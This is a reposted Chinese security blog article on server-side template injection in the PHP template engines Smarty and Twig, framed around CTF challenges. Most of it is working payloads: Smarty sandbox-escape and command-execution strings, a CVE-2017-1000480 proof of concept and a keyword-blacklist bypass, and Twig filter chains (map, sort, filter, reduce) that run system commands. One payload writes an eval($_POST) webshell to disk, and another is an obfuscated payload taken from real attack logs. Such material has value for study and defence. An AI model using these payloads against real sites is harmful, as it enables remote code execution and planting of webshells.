文章作者:你回来吗
原文地址:https://xz.aliyun.com/t/11228
0x01 前言
0x02 Smarty下的模板注入
低版本利用手法
如果你是CTFer 一定记得出自于CISCN2019华东南赛区Web11的一道题
在这里我们可以在X-Forwarded-For里面插入payload来达到rce的效果
比如可以直接调用{{system('cat /flag')}}
来获取flag
如果在未经过任何处理的情况下,这段payload可以通杀任何版本
3.1以下还有他独特的利用方法 比如{php}{/php}
通过内置的php标签直接进行函数的调用 比如{php}phpinfo();{/php}
但值得一提的是3.1以下版本太少见 市面上常见的CTF题目都是3.1+ 可以看见他的报错是已经禁止了{php}标签 只允许在SmartyBC里使用
如果你曾经看过ecshop的代码 你会发现 他们经常使用一个标签叫做{literal}
{literal}标签的能力是用来包裹js的,如果平常添加js代码可能会出错 ,如果可以配合php5中的
<script language="php">phpinfo();</script>
特殊标签来命令执行
还有一个漏洞点就是3.1.30之前 我们也可以利用Smarty类的getStreamVariable方法来进行读写
具体Payload
{self::getStreamVariable("file:///flag")}
这是因为读取的源码如下 可以看到可控的fopen文件读写
public function getStreamVariable($variable){ $_result = ''; $fp = fopen($variable, 'r+'); if ($fp) { while (!feof($fp) && ($current_line = fgets($fp)) !== false) { $_result .= $current_line; } fclose($fp); return $_result; }
而在<3.31以下也出过命令执行RCE demo如下
<?php
require './vendor/autoload.php';
class Smarty_Resource_Widget extends Smarty_Resource_Custom
{
protected function fetch($name, &$source, &$mtime)
{
$template = "test";
$source = $template;
$mtime = time();
return '1';
}
}
$smarty = new Smarty();
$smarty->setCacheDir('cache');
$smarty->setCompileDir('compile');
$smarty->setTemplateDir('templates');
$my_security_policy = new Smarty_Security($smarty);
$smarty->enableSecurity($my_security_policy);
$smarty->registerResource('username', new Smarty_Resource_Widget());
$smarty->display('username:'.$_GET['a']);
?>
在这里可以看到开启了Smarty_Security内置的沙盒保护机制
可以看到$_template->source->filepath 进行了直接拼接
而你可以发现我们所做的只要将payload前后各闭合一个注释 让程序包含文件即可命令执行poc: */phpinfo();/*
即可来写入文件包含 具体漏洞详情可以自行搜索CVE-2017-1000480 我就不再多提了
高版本利用方法
demo如下 高版本一般都可以指定沙盒
<?phpinclude_once('../libs/Smarty.class.php');$smarty = new Smarty();$smarty->enableSecurity();$smarty->display($_GET['poc']);
在<=3.1.38的条件下
我们可以有如下的poc
?poc=string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}?poc=string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system('id')}')}?poc=string:{function+name='rce(){};system("id");function+'}{/function}
来进行命令执行
但很多时候 开发者可能会进行一些底层的修改来进行一些黑名单 比如笔者曾经打过移动的一个ctf
笔者使用了第三个poc打发现显示
后来发现源码之后
在这里进行了些许patch 禁止我们使用function 当然这里面是strstr 没有使用stristr 所以我们可以把function大写来进行绕过
那当然如果在实战场景下 我们可能会看见有开启严格的沙盒模式的情况
$smarty = new Smarty();$my_security_policy = new Smarty_Security($smarty);$my_security_policy->php_functions = null;$my_security_policy->php_handling = Smarty::PHP_REMOVE;$my_security_policy->php_modifiers = null;$my_security_policy->static_classes = null;$my_security_policy->allow_super_globals = false;$my_security_policy->allow_constants = false;$my_security_policy->allow_php_tag = false;$my_security_policy->streams = null;$my_security_policy->php_modifiers = null;$smarty->enableSecurity($my_security_policy);$smarty->display($herf);
这种情况我们就可以使用我们的第二个payload
?poc=string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system('id')}')}
来关闭沙盒执行
当然当一些自作聪明的人ban掉渲染display函数的时候 我们也同样可以使用fetch函数来达到同样渲染模板的作用
0x03 Twig下的模板注入
twig有多种多样的过滤器 导致面临着不小的安全问题
低版本利用方法
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
在twig 1.x的情况下 _self变量可以调用Twig_Enviroment中的getfilter方法 最后底层走了call_user_func 出现模板注入
高版本利用方法
在高版本2.x/3.x中 _self失去了意义 但有许许多多的过滤器会导致命令执行
简单写个demo
$loader = new TwigLoaderArrayLoader([ 'index' => 'Hello'." guest flag is in /flag", 'check' => 'Hello'." "."{% autoescape 'html' %}".$_GET['name']."{% endautoescape %}", 'check2' => 'Hello'." ".$_GET['name']),]);$twig = new TwigEnvironment($loader);echo $twig->render('check2');
测试poc
{{["id"]|map("system")}}{{{"<?php phpinfo();eval($_POST[1])":"/var/www/html/1.php"}|map("file_put_contents")}} {{["id", 0]|sort("system")}}{{["id"]|filter("system")}}{{[0, 0]|reduce("system", "id")}}
可以看到分别使用了map sort filter reduce四种构造器都会导致命令执行
他们的底层原理也很简单 走了array家族的这几个 array_filter array_reduce array_map 都会导致命令执行
而笔者在前两天的时候查实战日志中看到一个很有趣的poc 虽然说是因为开发者的正则很垃圾 但还是有一些参考价值的
{{[%22galf/%20tac%22]|join(%22%22)|reverse|split('',14)|filter(%27passthru%27)}}
可以看到他把payload反着写在数组里 利用join 来拼接成字符串 再reverse变成正常的我们需要的字符串 cat /flag 而filter我们知道需要数组来执行 所以他用了split组合成数组来达到rce的目的 由此看来这些功能丰富的过滤器还是有点意思的
0x04 参考文章
http://www.wangqingzheng.com/anquanke/5/235505.html
https://www.kancloud.cn/yunye/twig-cn/159460
https://www.smarty.net/docs/zh_CN/
原文始发于微信公众号(狐狸说安全):php高版本模板注入tricks
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论